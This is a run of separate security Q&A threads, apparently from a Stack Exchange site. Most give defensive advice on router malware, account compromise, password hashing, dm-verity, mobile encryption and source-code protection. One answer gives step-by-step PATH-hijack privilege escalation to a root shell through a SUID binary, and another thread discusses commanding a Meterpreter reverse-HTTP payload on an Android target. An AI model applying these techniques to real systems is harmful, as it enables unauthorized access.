Potential router malware? Receiving "Access Denied" and other weird blocks from various websites So I've been having some weird browsing behavior over the last few weeks and it's gotten a lot worse the last few days. I've been getting blocked/banned by various websites off and on. Here are a few examples:

Southwest.com: "Access Denied" You don't have permission to access "http://www.southwest.com/" on this server.

Google search: While in incognito I sometimes see "Unusual traffic from your computer network" and am presented with a captcha. This doesn't happen when I'm not in incognito, likely because I'm logged into one of my google accounts.

Yelp: I am sometimes presented with a captcha when viewing a business page (especially coming from a search engine).

Playstation Vue login: Same "Access Denied" response as southwest.com every now and then.

Schwab.com: I have been locked out of the entire site 3 times over the course of a few months. I just get a white screen. Called tech support and they said my IP was banned, that they would unban it, but couldn't give me a reason why.

Godaddy: I tried logging into my account once with the correct password and received a message saying I was locked out for 5 hours.

All of these happen from multiple devices and operating systems (and only when I'm connected to my home network), so clearly there's something weird going on with my network traffic. I just don't know how to track it down. I am somewhat familiar with Wireshark and have poked around with the filters and stats trying to pinpoint sketchy traffic but I haven't been able to find anything yet. It definitely seems like our network is either being used as a VPN/open proxy or one of us has malware.

I live with a roommate who I've talked to and he's adamant that he's not running anything sketchy and says he just recently ran virus/malware scans on his two devices. I personally have a desktop and laptop. Both have come back clean from all the virus/malware scans I've run and I'm generally pretty safe with software and browsing habits. Just to be extra safe I reformatted both machines this week. I also checked my router against VPNFilter using this URL: http://www.symantec.com/filtercheck/ and it came back clean, but I'm not certain that the router is actually clean. I recognize all devices that are connected to my router, and I recently configured the router to use Google's DNS. My next step is to reset the router back to factory settings in case that somehow got infected with anything else.

I have no clue what steps to take next. What's the best way to detect what's going on? Can I use Wireshark filters to isolate any potential traffic that's using our network as a VPN/proxy/tor exit node? Can I somehow filter for domain names or the IPs of the sites that I'm blocked from and try to capture any automated requests going to them?

Each taken on their own, each of these things listed may not be too much to be concerned about. Taken together, it's hard to say.

Southwest.com: I also get a Access Denied at http://www.southwest.com/ (and at https://www.southwest.com/). Their server is misconfigured. Nothing to worry about. Edit: Upon a closer investigation, the http://www.southwest.com/ page loads fine for me when I'm using an IP address in the USA, and gives me an Access Denied with an IP from anywhere in the world (that I've tried — several through Europe, India, Australia). So I'm not honestly sure about his one. They may filter IPs pretty aggressively, and it may be a similar situation to the Schwab.com issue you experienced (and if you've discovered your IP has been blacklisted, that may not be surprising).

Google search: I also get occasional CAPTCHAs when in incognito mode, though this might indicate genuine unusual traffic.

Yelp, Playstation Vue: I'm not a user of these sites and can't offer comment, but your description of these intermittent issues doesn't seem too unusual.

Schwab.com: This could indicate a genuine issue. If I can assume that you are using a normal home internet connection, then with most internet providers your IP address actually changes fairly often. This may mean that you were simply automatically assigned an IP that someone else has used to attack the Schwab website, either intentionally or (more likely) as an unwitting part of a botnet. If you have a dynamic IP (your IP changes regularly), I wouldn't be too concerned about this. If, however, you have a static IP (your IP is always the same), this is a concern, as it means it's something on your home network that's somehow become an unwitting part of a bot-net. Your IPS can tell you which (dynamic or static IP) you have, and may be able to switch you from one to the other if you like.

Godaddy: This is much more likely to indicate that someone is attempting to brute-force your Godaddy password than that there's an infection on your home computer/network/router. This is not that unusual, but there are some important steps to protect your accounts. Firstly, Godaddy supports two factor authentication, which you should enable immediately if you haven't (security professionals recommend enabling 2FA wherever it's supported). Secondly, you should register your email addresses with https://haveibeenpwned.com/, since if your login at a place like Godaddy is being attacked, there's an excellent chance that your credentials have been leaked somewhere, and it's very important to know what's happening with your data.

In short, I don't think you have much reason to worry at this point. Each of those symptoms has a separate, reasonable explanation. You've also taken some good steps so far. However, there are some further steps you can take to protect yourself.

haveibeenpwned.com, as mentioned above.
Always ensure your software (operating system, antivirus, etc) is fully up to date.
If you have any "smart" or "Internet-of-Things" devices (smart lightbulbs, app-enabled dishwashers, security cameras, what have you) be sure that they are also completely updated with their current firmware and software (people often forget these). If they don't need an external connection to the internet for their functionality, then consider blocking them from accessing the internet too. (Sadly, most of these devices need full internet connectivity to work, but still.)
Resetting your router to factory settings won't hurt, and is worth doing. You should also make sure, like with everything else, that the router software is fully up to date. I note in the comments you have separate modem and router; rinse and repeat for the modem.
If you want, you can start looking at your network like an attacker would. Tools like nmap can be used to find things on your network that may not appear (for whatever reason) in your router's interface. Wireshark can be used to investigate traffic, but if you're not able to run it directly on your router, it can take some effort to set up a system whereby your Wireshark can see all the traffic going in and out.

Hope this helps!


What steps should I take now that my online gaming account was compromised? I recently received emails from my Origin account that my email address and security question had been changed (seems to have been someone in Russia since the new security question was in Russian). This was not my doing so I knew immediately that this was due to my account being compromised. Outside of account recovery, the only question I had left was how this happened and what to do next.

The steps I've take thus far are as follows:

Contacted Origin support to recover my account. I did this approximately 1 hour after I was notified that changes had taken place on the account. 2 factor authentication and a new security question were applied to the account. No charges were confirmed to have taken place.
From the machine in question, I changed passwords for other necessary online accounts. The majority of these accounts also use 2-factor authentication.
Malewarebytes scans were performed and no exploits were found.
From the computer in question, necessary files from my Documents folder and Downloads folder were backed up to a NAS.
From the computer in question, necessary drivers were placed on a usb drive.
Windows 10 was re-installed on the same disk after a format was performed using the install media from Microsoft.

My concerns are the following:

Is it likely that whatever exploit was used to compromise my Origin account migrated silently to my NAS
Could this exploit have migrated silently to my usb drive
Could my password changes have been all for not since they were done from the machine in question?
Are their any further steps I should take or any retracing of steps necessary due to what steps I've take already.

Edit: clarified #2 in that I was the one to change those passwords and not an attacker

UPDATE:
I received a curious text message today. Here is a picture of it:

It seems 2-factor authentication has stopped whoever got their hands on my account. I would wager any service should consider 2-factor implementations at this point.

Not every case of fraud is the result of some crazy nation-state sponsored rootkit worming its way through your network.

First, consider the target. It's an online gaming account, existing independently of your own computer(s).

Have you clicked on any phishing emails lately? Let's assume not.
Have you installed any third-party mods for your EA games?
Have you participated in any third-party exchanges unaffiliated with EA, that requires sharing your EA credentials (i.e. anything like tf2outpost)
Did you have 2FA enabled in the first place? I'm guessing not.
Do you share passwords across third-party accounts? Is there some other account you've ever used, ever, that used the same email + password combination?
Could he have exploited the password reset mechanism? EA sends a password reset email to the email address on file in the case of a lost password. He would have had to have access to your email account to intercept it. Gmail in particular will give you an access history (look at the very bottom of your inbox) to see what IPs have logged in, but you might want to follow remediation procedure on this one (and it sounds like you already did).
Could it have been malware? Possibly, but...

Unless he did compromise your email too, it seems to me like he already knew your password. If you had a keylogger or malware on your machine, you likely would have seen other IoCs by now. AV (though not bulletproof against APTs, who have bigger concerns than your online games) also found nothing. So...

Typically anybody after gaming accounts is looking to bust out by stealing digital content (any tradeable loot or currency), playing your games for free for as long as they can (South America is really bad about this due to high tariffs on gaming) or testing/using hacking tools with other peoples' accounts to avoid bans.

Ask yourself truthfully how easy to guess your original password was and/or what steps you might have taken to accidentally provide it to a third party. Not saying it's the case here, but sometimes the simplest solution is the most likely one.

If you answered no to all of my questions and you're still uncomfortable with it, do go ahead and wipe the computer. It's inconvenient, but it's what you'd end up doing anyway if you did have concrete proof of infection.


Is there a file system allowing read-only access enforced by cryptography Is there a file system standard (like LUKS) that allows anyone who can plug in the hard drive to read files, but requires a passphrase to modify or write? For example, I can do something similar by signing an unencrypted file with gpg whenever I save it.

I admit it's impossible to prevent a malicious OS from modifying the files anyway. Therefore I'm looking for a file system that can detect malicious changes in such a way that an attacker without the passphrase cannot simulate an authorized change without breaking a modern cryptographic function.

Yes, this is called dm-verity, which is supported by cryptsetup. It verifies the filesystem as it is read using cryptographic hashes. If anyone was to modify the filesystem without the appropriate credentials, your operating system would throw an error next time it is read, alerting you to the fact that there may be tampering. Making changes involves rebuilding the filesystem with a new hash tree.
The tool for configuring dm-verity is veritysetup(8).


How should we apply the salt to the password? According to Wikipedia:

  A rainbow table is ineffective against one-way hashes that include large salts. For example, consider a password hash that is generated using the following function (where "||" is the concatenation operator):
  saltedhash(password) = hash(password || salt)
  Or
  saltedhash(password) = hash(hash(password) || salt)

Say I'm using Argon2(di) to store passwords. Should I use the second method or first method to hash passwords?
And as a more general question, which hash method is typically better in password storage situations? (What about other situations like HMACS?)

Say I'm using Argon2(di) to store passwords. Should I use the second method or first method to hash passwords?

No. Argon2 takes the salt as a separate argument from the password, and takes responsibility internally about how to incorporate them both into the computation.  As any specialized password hashing function should.

Ideally, though, you should use a higher-level API that takes care of salt generation and management internally, by encapsulating the use of the password hash with:

An "enrollment" function that takes a password, generates a salt, and outputs a verification string that encapsulates choice of hashing algorithm, algorithm parameters, salt and hash.  See for example the password_hash() in PHP.
A "verification" function that takes a password and verification string, parses the latter to recover all those parameters, and verifies that the password matches.  See, e.g., password_verify() in PHP.

Basically, if you're manually concatenating salts and passwords like your quote from Wikipedia suggests, you're doing it wrong.


How to ensure that a router is fully reset to factory defaults I have a router (TP Link Archer C2) that I would like to pass on to a friend or give to a thriftstore. However, I noticed some logs via the admin tools. The router apparently logged some requests and associated IP adresses for debugging. Logging was turned on by default, and this got me thinking that you might want to scrub stuff like that.

So, what is the minimum checklist for safely reseting a router? Will a factory reset generally suffice to permanently scrub it from old data, like passwords and logs?

Ie. could a malicious party getting hold of a factory reset router read old data, similar to trawling a hard drive for information that was not securely erased?

This is not the "slam dunk" answer you're hoping for.  Someone else might come along later and provide a better answer, but I figured I still had some helpful things to add.

The reality is that the intended way to completely wipe a router is by using the factory reset.  Your question basically boils down to, "Yes, but does the factory reset actually wipe everything???".  Unfortunately answering that question requires an expert on this particular router, or information directly from the manufacturer.  Neither of those things are likely to happen.

Fortunately it doesn't really matter, because realistically whoever ends up with your router is not going to be an expert on electronics to the extent that they will open the router, dump all memory in the device, and attempt to reconstruct old logs.  This is the sort of attack that you would have to worry about if you were developing nuclear weapons, but that is unlikely to be the case for you and I, so I wouldn't worry about things like that.  As a result I'd suggest something simple:

Factory reset the router
Login to the admin portal and see if you can find any residual logs or other data from its past life.
If not, give it away without worry
If so (and you are uncomfortable giving away that information), then perform a rapid unscheduled disassembly.


Exploiting SUID Binary that connects to SSH server While conducting a pentest on a Linux machine, I have a limited shell and trying to escalate privileges.

One interesting thing that i have found is a binary called connect installed under /usr/local/bin/ that has  SUID permissions. Here is the complete output for ls -al:

mark@serv1:/usr/local/bin$ ls -al connect
-rwsr-xr-x 1 root root 6723 2013-10-10 13:02 connect

When trying to run this binary, it seems that it is trying to connect to an ssh server. here is the output.

mark@serv1:/usr/local/bin$ ./connect
Connecting to x.x.x.x
ssh: connect to host x.x.x.x port 22: Network is unreachable
lost connection

I am really wondering is there is a way to leverage this to get a root access to the system ? I though that I could utilize this to get a shell of this SUID binary or even trying to ssh root@127.0.0.1 utilizing these permissions. However, I can not figure out how to accomplish this since I am not that much Linux expert.

Thanks

If may be vulnerable because it runs the ssh binary without specifying the full path. To test this:

Copy bash into a file called ssh in your home directory.
Set PATH to include your home directory at the beginning.
Try running connect. If it's vulnerable, you will get a root shell.


How to response to Meterpreter HTTP Request sent from client First of all apologies for mistakes as i am at beginner level.  I was exploring Meterpreter HTTP Handler. I have created a payload with meterpreter reverse HTTP and writing my own http server for handling requests instead of using Meterpreter's HTTP handler. I have created a HTTP server written in PYTHON on my machine which is receiving GET request from target machine on which i have deployed payload.
Problem is here that i have not idea what should be the reply to GET requests sent from target machine [In my case, a Virtual Android Device is target]. I am unable to find source code of Meterpreter HTTP Handler as well.

Can anyone help me out that how can i send commands in response of GET requests?

For Example if i use Reverse_TCP then plane commands work. (i.e "is_rooted" commands show if device is rooted or not)
Given below is HTTP GET Request from target device.

_______________________________________________________________
10.10.10.10 - - [13/Oct/2018 07:19:36] "GET /kINS4jJ0MUHD7cD-mCy9AwnVfApRxKMk0K2xW4aBTj9sJUI2oK1Vv2xu0Gcs/ HTTP/1.1" 200 -
_______________________________________________________________
10.10.10.10 - - [13/Oct/2018 07:19:37] "GET /kINS4jJ0MUHD7cD-mCy9AwnVfApRxKMk0K2xW4aBTj9sJUI2oK1Vv2xu0Gcs/ HTTP/1.1" 200 -
_______________________________________________________________
10.10.10.10 - - [13/Oct/2018 07:21:38] "GET /kINS4jJ0MUHD7cD-mCy9AwnVfApRxKMk0K2xW4aBTj9sJUI2oK1Vv2xu0Gcs/ HTTP/1.1" 200 -

As far I understand from your post, is not clear some points, you want to simulate the responses of the Meterpreter. If this is the case, my recommendation is to pcap traffic to a Meterpreter server and see what are the responses. After that is trivial to include that responses on your python server so you will be able to simulate some of the functionality.


Hardware encryption for mobile data Assume a requirement for creating a custom application for Android or iOS smartphones, which will send and receive data (documents, e-mails, etc.) to/from a corporate server, perhaps after local editing via standard applications (e.g., Word or Powerpoint). The data will have to reside at the smartphone for certain amounts of time.

The application has to be

Fast
Secure
Standardized

i.e. it should use as much of existing functionality as possible.

It seems that, for the network part, HTTPS is a better option than VPNs.

So, a general model of operation will be for the user to supply authentication credentials, login to the server, identify the document to be retrieved and download that document to the smartphone. Vice versa, the user should be able to load the document from the smartphone storage, edit it and then send it to the server.

Based on the above:

Is there any open source solution for the client part (Android and iOS) of the client-server communication, i.e. a recommended HTTS client library?
Is hardware encryption the recommended path for smartphone data storage (in terms of performance and security)?
Is there any other part of the communication that needs to be secured?

Thanks!

Question1:

Not sure about this one, I guess any RESTful design would do where each application gets an activation token which will allow him to retrieve its identity (used for authentication)

Question 2:

It's not actually. Most corporate applications use a different approach. For instance if you look at GOOD for Enterprise you will note that they encrypt their complete local storage based on a user password. If the user can't remember his password then he can't access the application (no password reset option).

The encryption key is derived from the password and should always be given by the user to start a session. After a few moments of idleness (5 - 10 minutes) you should lock the application again.

GOOD also goes a step further, three wrong password attempts and your local storage gets wiped and your account invalidated for REST requests.

Question 3:

Never use external storage, always use the internal memory. Refer to the good security guidelines for mobile development.

References:

Apple iOS Secure Coding Guide
Android Security Tips


When TrueCrypt prompts to re-enable automatic mounting, should I be worried? Assume one day you receive the following error from TrueCrypt:

is that a reason to worry that someone may have removed the disk (in my case disk 0) and used it offline and then put it back into the laptop or am I too paranoid?

Note: the above option fixed it, but the question is what would disable the automatic mounting in the first place. Especially since we're talking about the boot drive here.

Also note: I am using Intel Matrix RAID to cache the boot drive, in case that changes something.

I did some digging and it turns out if this is your main hard disk (containing the partition of the OS), it is highly unlikely that removal and reattachment to your laptop would leave anything but a physical trace.

Unless you keep track of the HDD S.M.A.R.T counters for how many times the device has been powered up (Which we normally don't keep track of), before and after your suspected problem its difficult to say if the drive was removed and accessed offline.

And paranoia is always relative to risk. In some cases you DO need to be paranoid. But as long as you are using a decently strong Encryption Key and do the best to make sure that no one else has access to that key, you should be fine as brute-forcing a strong key would in any case take a considerable amount of time.


Is using a “Red” and a “Green” browser to balance LOB requirements and security a good approach? I currently work in a manufacturing company with round about 5000 computers and 6000 employees.

We use a lot of web based line of business applications (all internal, non over the Internet) in order to keep the production running, developed by the internal Applications department. Although from the functional aspect they run quite well, their adoption of new releases of the browser stack is very, very slow.

In order to run the programs, they require Internet Explorer as well as the Java plug in. Any new release of any of these two requires them intense testing. Before they confirm, we can’t roll out anything new.

From the security perspective, the current stack is far too old. Right now, we are allowed to install Internet Explorer 8 as well as Java 1.6 U30 (about 9 months old).

Since neither I nor our CISO were able to change these procedures (they got full support for this from the CEO), we would like to implement a “Green” and a “Red” browser.

The idea is to cut of Internet Explorer and the IE Java plugin from the Internet (using rules on the local firewall, the central firewall and/or the central proxy) and installing Google Chrome. Internet Explorer would then be the “Green” browser for anything internal and Chrome the “Red” one for Internet Access.

As Chrome would be used solely used for Internet Access, updating it with a new version and plug ins wouldn’t need any testing from the Application department. This way, we would always have the newest version with the best protection.

Of course, this would require some extra work from our side (Version checks, deployment jobs etc.) but I think the extra benefit for security would outweigh this extra work.

Would this be considered a good solution, or would we open new security issues with it?

Theoretical security is a world of absolutes, but the world we live in is made of compromise. You have to find a good balance between strong security and usability. Your approach pretty much hits the nail on the head.

What you're essentially doing is separation of duties. You have an insecure browser, which is unsuitable for web browsing, but must be used for a particular business purpose. As such, you're creating a second role (filled by Chrome) and separating the duties they have to perform.

The only suggestion I'd give, if it's possible, is to skip the firewall configuration and just unplug the box from the network entirely.


SSL MITM and Mutual Authentication - vendor marketplace In the interests of validating my thinking:

I’ve been looking at commercial man-in-the-middle (MITM) appliances.  It seems like the major players in the marketplace don’t support client certificates and mutual authentication.  Basically, available MITM appliances are not capable of generating and signing a client cert trusted by the server.

I am wondering if a properly motivated developer could design a MITM appliance that could both generate new server certificates that respond to Client Hellos (this capability is well-known), as well as generate new client certificates that respond to Client Certificate Requests.  If my understanding is correct, the entire SSL session would be distinct on either end of the MITM device.

Am I missing anything here?  Assuming that both the client and server trust certificates signed by the MITM, is it possible to MITM SSL mutual authentication with client certificates?  On another note, would this requiring breaking TCP sessions?

Thanks for any responses!

If both client and server would trust the MITM proxy then it would be possible to use faked certificates (issued by the MITM proxy) on both sides which are dynamically generated based on the original certificates send by server and client.

But in practice SSL inspection is usually used inside a perimeter firewall to protect clients inside the company. In this case the company has control of the clients and can make sure that all clients trust the CA of the MITM proxy. But, the company has usually no control of the servers and thus cannot make these trust the MITM proxy CA. Thus the servers will usually not accepting the faked client certificate which means that client certificates will not work. And since because of this problem there is usually no demand for this feature it is not implemented, although it would be possible in theory.


CSR with no keyUsage or extendedKeyUsage specified and invalid DNS in CommonName - will anyone sign it? A vendor's software is generating CSRs with no keyUsage or extendedKeyUsage set and in combination with this they contain commonNames that are not fully qualified domain names. If I submit them to Digicert as "Private SSL" certificates they sign them for me.
I understand that web browsers will ignore the CN and treat only the SANs as valid so it's understandable they would allow non-FQDN in the commonName. However, one certificate contains invalid characters in the commonName -- a colon -- and Digicert refuses to sign it. Previous, similar certificates without invalid characters in the commonName simply did not have that name duplicated as a SAN as Digicert typically does with certificates, and Digicert also patched in the keyUsage for an SSL certificate because that's how I requested it.
I feel like I'm making an error submitting these as SSL certificates when the vendor's software does not designate the CSRs as such. But it has been successful with previous non-FQDN commonNames so why would Digicert balk at invalid commonName characters in other CSRs? And lastly, if the CSR never specifies keyUsage isn't that the equivalent of saying that the certificate is only used for encryption and I should just be signing them with Snake Oil?

Depending on the CA you are using, the degree of flexibility will vary. All the answers specific to the CA you have selected should be present in their certificate practice statement (CPS).
Each CA has certificate policy in place, which defines what is allowed and how to handle edge cases. Having some experience with building private CAs for living I can tell you that most of the CAs will strip your CSR from everything that they can figure out on their own. For example, it is a common practice to use the CN as SAN DNS in absence of SAN DNS in the CSR. The key usages are designated based on the type of the certificate you are buying not your CSR, this is why they're always stripped from CSR and assigned by the CA. When you are signign a certificate, you basically select a preconfigured template that will make sure that your certificate can be used as intended (it is easy to forget something crucial when generating your CSR).
As for the illegal characters, this is most likely caused by the character set chosen to represent the CN in certificate. When the certificate is encoded CA has options to choose different character sets for different fields to allow more flexibility. It can be PrintableString for CN and UTF-8 for things like a Name. If the character in your CN is not in the default character set selected for the field it will throw an error and CA will refuse to sign it.
Although it is not required by modern browsers the CN is still present in web server certificates to ensure the backwards compatibility.


Which conferences are comparable to the Defcon? Rory Aslop wrote something interesting regarding conferences here:

  Defcon always worked out as the most cost effective broad technical training for my penetration testers and technical security teams...[it] gives:

  cutting edge training
  direct experience of 'black hat' activities
  value for money

Are there other comparable conferences (international and not necessarily in English) from an importance and content perspective?

There are many, I searched for some of them in different forums:

HITB Security Conference
Black Hat (various events and conferences every year every where)
B-Sides (much smaller but more populist conference)
The Hacker Conference (first organized in 1984)
Blue Hat (Microsoft Hacker Conference hold twice per year)
Brucon (conferences, training ... once a year, Belgium)
TROOPERS (once per year, Germany)
Growth Hacking Conference (UK)
Virus Bulletin (once per year, coming one by the end of September)
Hack.lu (annual,  coming one on 20-22 October 2015, Luxembourg )
NDSS (annual, last one done on February 2015)
nullcon (once a year, last conference done on  06 - 07th Feb 2015, in Delhi and Goa, Asia)
RSA Security Conference (annually in USA)
SecureWorld Expo (annually, USA)
Hacker Halted (annually, placement changes every year)
DeepSec (annually, their conferences are always published on Youtube, Austria)
Hackito Ergo Sum (April of each year, Paris-France)
ICM (more about cryptography)
SIN ACM (annually, next conference on September 8-10, 2015, Russia)
CanSecWest (on March of each year, Canada)
ASIA (annual,  cyber security conference, USA)
FSec (annual, coming conference on 14th—16th September 2015, Croatia)


Describe an example of indistinguishability obfuscation or functional encryption As described in Perfecting the Art of Sensible Nonsense, a major breakthrough in cryptography research was published in the summer of 2013:

Candidate Indistinguishability Obfuscation and Functional Encryption for all circuits

In principle it seems to allow for what most computer scientists had assumed was impossible: obfuscating computer code so that secrets within it are preserved even by attackers who can run the code fully under their own control.  This kind of obfuscation is enormously powerful, and can be used, for example, to create new forms of public key encryption.  It is related to breakthroughs in functional encryption and deniable encryption.

It is described this way in the article:

  The ... obfuscator works by transforming a computer program into what Sahai calls a “multilinear jigsaw puzzle.” Each piece of the program gets obfuscated by mixing in random elements that are carefully chosen so that if you run the garbled program in the intended way, the randomness cancels out and the pieces fit together to compute the correct output. But if you try to do anything else with the program, the randomness makes each individual puzzle piece look meaningless.

But it is also described as "... far from ready for commercial applications.  The technique turns short, simple programs into giant, unwieldy albatrosses."

A reason for the unwieldiness is the need to use Fully Homomorphic Encryption (FHE), which itself remains unwieldy as described in related questions here.

Note that this has been discussed on other stack exchanges:

Practical consequences of using functional encryption for software obfuscation - Cryptography Stack Exchange
On the indistinguishability obfuscation (informally) - Reverse Engineering Stack Exchange

Crypto is probably a more suitable forum for general discussion, but many discussions of possible practical aspects (or the absence thereof) may be best done here.

Given the current state of the art, it seems that practical applications don't exist.  But that statement is hard to accept without an example.  So here is a question that should be relevant here: can someone provide a concrete example of the sort of useful task that indistinguishability obfuscation or functional encryption might some day be used for, and describe just how unwieldy it is at this point (size, performance, etc)?

The article actually describes two constructions, the second one using the first one as a building tool. The first construction provides indistinguishability obfuscation while the second one is functional encryption.

Indistinguishability obfuscation is a rather esoteric property, which is not what non-academic think about when they hear "obfuscation"; the terminology is a misnomer. That property means that if you can encode some "processing" as a circuit (roughly speaking a piece of code which can be unrolled, with no infinite loop), such that there are several possible distinct circuits which yield the same results, then indistinguishability obfuscation allows publication of an "obfuscated circuit" such that anybody can run the circuit and obtain the result, but outsider cannot know which of the possible circuits was used as a basis internally.

What good IO can make, by itself, is unclear. The authors, in section 1.7 of their article, still present an example, which is rather far-fetched:

  Software developers will often want to release a demo or restricted use version of their software that
  limits the features that are available in a full version. In some cases a commercial software developer will do
  this to demonstrate their product; in other cases the developer will want to make multiple tiers of a product
  with different price points. In other domains, the software might be given to a partner that is only partially
  trusted and the developer only wants to release the features needed for the task.

  Ideally, a developer could create a downgraded version of software simply by starting with the full version
  and then turning off certain features at the interface level -- requiring minimal additional effort. However,
  if this is all that is done, it could be easy for an attacker to bypass these controls and gain access to the
  full version or the code behind it. The other alternative is for a software development team to carefully
  excise all unused functionality from the core of the software. Removing functionality can become a very time
  consuming task that could itself lead to the introduction of software bugs. In addition, in many applications
  it might be unclear what can and cannot remain for a restricted use version.

  One immediate solution is for a developer to restrict the use at the interface level and then release
  an obfuscated version of the program. For this application indistinguishability obfuscation suffices, since by
  definition a version restricted in the interface is indistinguishable from an obfuscated program with equivalent
  behavior that has its smarts removed at the start.

The use case is dubious, at best. However, IO has a more useful (theoretical) functionality, which the authors expose afterwards: it enables them to build functional encryption.

Functional encryption is about providing a computable circuit (obfuscated with IO) which receives as input encrypted versions of some value x, and returns F(x) for some function F, without revealing anything else about x. The authors show how they can do that for any function F which can be encoded as a circuit, and the resulting obfuscated circuit is "polynomially-sized" with regards to the original unobfuscated circuit implementing F.

Now this "polynomially-sized" expression tells us that we are in the abstract world of mathematics, and not in the practical world. It relates to asymptotic behaviour when circuit size grows towards infinity. It does not tell much about how much the construction would cost in any practical, finite situation; only that if God plays with Universe-sized computers, then He will find the construction to be "tolerably efficient" provided that He first creates a large enough Universe to accommodate the bulk of the involved computers -- with no a priori measure of how large that Universe has to be for the theoretical result to apply. Empirically, we find that most mundane algorithms that we manipulate and that offer polynomial complexity are "somewhat fast", but that's mostly because these algorithms are very simple things; there is no proof or even suggestion that the construction described in the article would be as "mundane".

Functional encryption, if it can be made to work within reasonable CPU and RAM budgets, can be useful for security in a number of situations. For instance, imagine a FPS game opposing players on networked computers. For efficient 3D rendering, the local machine of each player must know the terrain map and the current location of all objects, including other players, so that it may decide whether, from the point of view of the local player, any other player is visible (and must be drawn on the screen) or hidden (e.g. sneakily poised behind a wall, ready to lob a hand grenade) -- but cheaters would find it very convenient to know these locations in real-time. Each player is assumed to have complete control of his machine (he has physical access). With function encryption, the player's machine may compute the rendering (that's the F function) based on the locations as sent by the server, without obtaining the locations themselves.

Unfortunately, for practical applications, we are far from having a workable solution. What must be understood is that in all these constructions, each circuit gate must map to an instance of Gentry's fully homomorphic encryption scheme, and at every clock cycle for the obfuscated circuit, all gates must be processed, regardless of whether they are "active" or not in the circuit (this is a big part of why the obfuscation theoretically works: it does not reveal active gates, by always making them all active). This article gives performance result: on a rather big PC, we are up for minutes of computation. That's for each gate in the obfuscated circuit, and for each clock cycle.

There are millions or even probably billions of gates in the envisioned circuit, given the setup of functional encryption: the "obfuscated circuit" must include asymmetric decryption and validation of zero-knowledge proofs. So now we are talking about using all the computers currently running on Earth, all collaborating on the computation, and they might make non-negligible progress towards running one instance of functional encryption within a few centuries.

These are just estimates that I make from what I saw in the articles, but they should give you the order of magnitude. Namely, that the albatross metaphor falls very short of the reality; you'd rather have to imagine a full army of spaceships bent on galactic domination. If it flies at all, despite bureaucratic heaviness, it will have tremendous inertia and be quite expensive.


How do large companies protect their source code? I recently read the canonical answer of our ursine overlord to the question on How do certification authorities store their private root keys?

I then just had to ask myself:
How do large companies (e.g. Microsoft, Apple, ...) protect their valuable source code?

In particular I was asking myself, how do they protect their source code against theft, against malicious externally based modification and against malicious insider-based modification.

The first sub-question was already (somewhat) answered in CodeExpress' answer on How to prevent private data being disclosed outside of Organization.

The reasoning for the questions is simple:

If the source code would be stolen, a) would the company be (at least partially) hindered from selling it and b) would the product be at risk of source code based attack search. Just imagine what would happen if the Windows or iOS source code was stolen.
If the code would be modified by malicious external attackers, secret backdoors may be added which can be catastrophic. This is what happened with Juniper lately, where the coordinates of the second DUAL_EC_DRBG point were replaced in their source.
If the code would be modified by an internal attacker (e.g. an Apple iOS engineer?) that person could make a lot of money by selling said backdoors and can put the product at severe risk if the modified version ships.

Please don't come up with "law" and "contracts". While these are effective measures against theft and modification, they certainly don't work as well as technical defenses and won't stop aggressive attackers (i.e. other governments' agencies).

First off, I want to say that just because a company is big doesn't mean their security will be any better.
That said, I'll mention that having done security work in a large number of Fortune 500 companies, including lots of name-brands most people are familiar with, I'll say that currently 60-70% of them don't do as much as you'd think they should do. Some even give hundreds of third-party companies around the world full access to pull from their codebase, but not necessarily write to it.
A few use multiple private Github repositories for separate projects with two-factor authentication enabled and tight control over who they grant access too and have a process to quickly revoke access when anyone leaves.
A few others are very serious about protecting things, so they do everything in house and use what to many other companies would look like excessive levels of security control and employee monitoring. These companies use solutions like Data Loss Prevention (DLP) tools to watch for code exfiltration, internal VPN access to heavily hardened environments just for development with a ton of traditional security controls and monitoring, and, in some cases, full-packet capture of all traffic in the environment where the code is stored. But as of 2015 this situation is still very rare.
Something that may be of interest and which has always seemed unusual to me is that the financial industry, especially banks, have far worse security than one would think and that the pharmaceutical industry are much better than other industries, including many defense contractors. There are some industries that are absolutely horrible about security. I mention this because there are other dynamics at play: it's not just big companies versus small ones, a large part of it has to do with organizational culture.
To answer your question, I'm going to point out that it's the business as a whole making these decisions and not the security teams. If the security teams were in charge of everything, or even knew about all the projects going on, things probably wouldn't look anything like they do today.
That said, you should keep in mind that most large businesses are publicly traded and for a number of reasons tend to be much more concerned with short-term profits, meeting quarterly numbers, and competing for marketshare against their other large competitors than about security risks, even if the risks could effectively destroy their business. So keep that in mind when reading the following answers.

If source code were stolen:

Most wouldn't care and it would have almost no impact on their brand or sales. Keep in mind that the code itself is in many cases not what stores the value of a company's offering. If someone else got a copy of Windows 10 source, they couldn't suddenly create a company selling a Windows 10 clone OS and be able to support it. The code itself is only part of the solution sold.

Would the product be at greater risk because of this? Yes absolutely.

External Modification: Yes, but this is harder to do, and easier to catch. That said, since most companies are not seriously monitoring this it's a very real possibility that this has happened to many large companies, especially if back-door access to their software is of significant value to other nation-states. This probably happens a lot more often than people realize.

Internal Attacker: Depending on how smart the attacker was, this may never even be noticed or could be made to look like an inconspicuous programming mistake. Outside of background checks and behavior monitoring, there is not much that can prevent this, but hopefully some source-code analysis tools would catch this and force the team to correct it. This is a particularly tough attack to defend against and is the reason a few companies don't outsource work to other countries and do comprehensive background checks on their developers. Static source code analysis tools are getting better, but there will always be gap between what they can detect and what can be done.

In a nutshell, the holes will always come out before the fixes, so dealing with most security issues becomes something of a race against time. Security tools help give you time-tradeoffs but you'll never have "perfect" security and getting close to that can get very expensive in terms of time (slowing developers down or requiring a lot more man-hours somewhere else).
Again, just because a company is big doesn't mean they have good security. I've seen some small companies with much better security than their larger competitors, and I think this will increasingly be the case since smaller companies that want to take their security more seriously don't have to do massive organizational changes, where larger companies will be forced to stick with the way they've been doing things in the past due to the transition cost.
More importantly, I think it's easier for a new company (of any size, but especially smaller ones) to have security heavily integrated into it's core culture rather having to change their current/legacy cultures like older companies have to. There may even be opportunities now to take market share away from the a less secure product by creating a very secure version of it. Likewise, I think your question is important for a totally different reason: security is still in it's infancy, so we need better solutions in areas like code management where there is a lot of room for improvement.


Methodology for finding existing adversary presence on network A technology company starts small in the early 90's and, for various reasons, blows up into a multi-million dollar company in a very short time around 2013. The problem is that this company is entirely focused on firefighting network/operations issues and expanding its services, security is only an afterthought and is rarely a priority. Now it is 2018 and in light of many high profile breaches the company decides they should make security a priority and for the first time in the company's history they dedicate a single employee whose full time job is security. The employee puts in place standards such as patch management, vulnerability scanning, stricter firewall monitoring, etc. etc. After a month in his position the employee is asked by the general manager, "So, is anybody in our network who shouldn't be?"

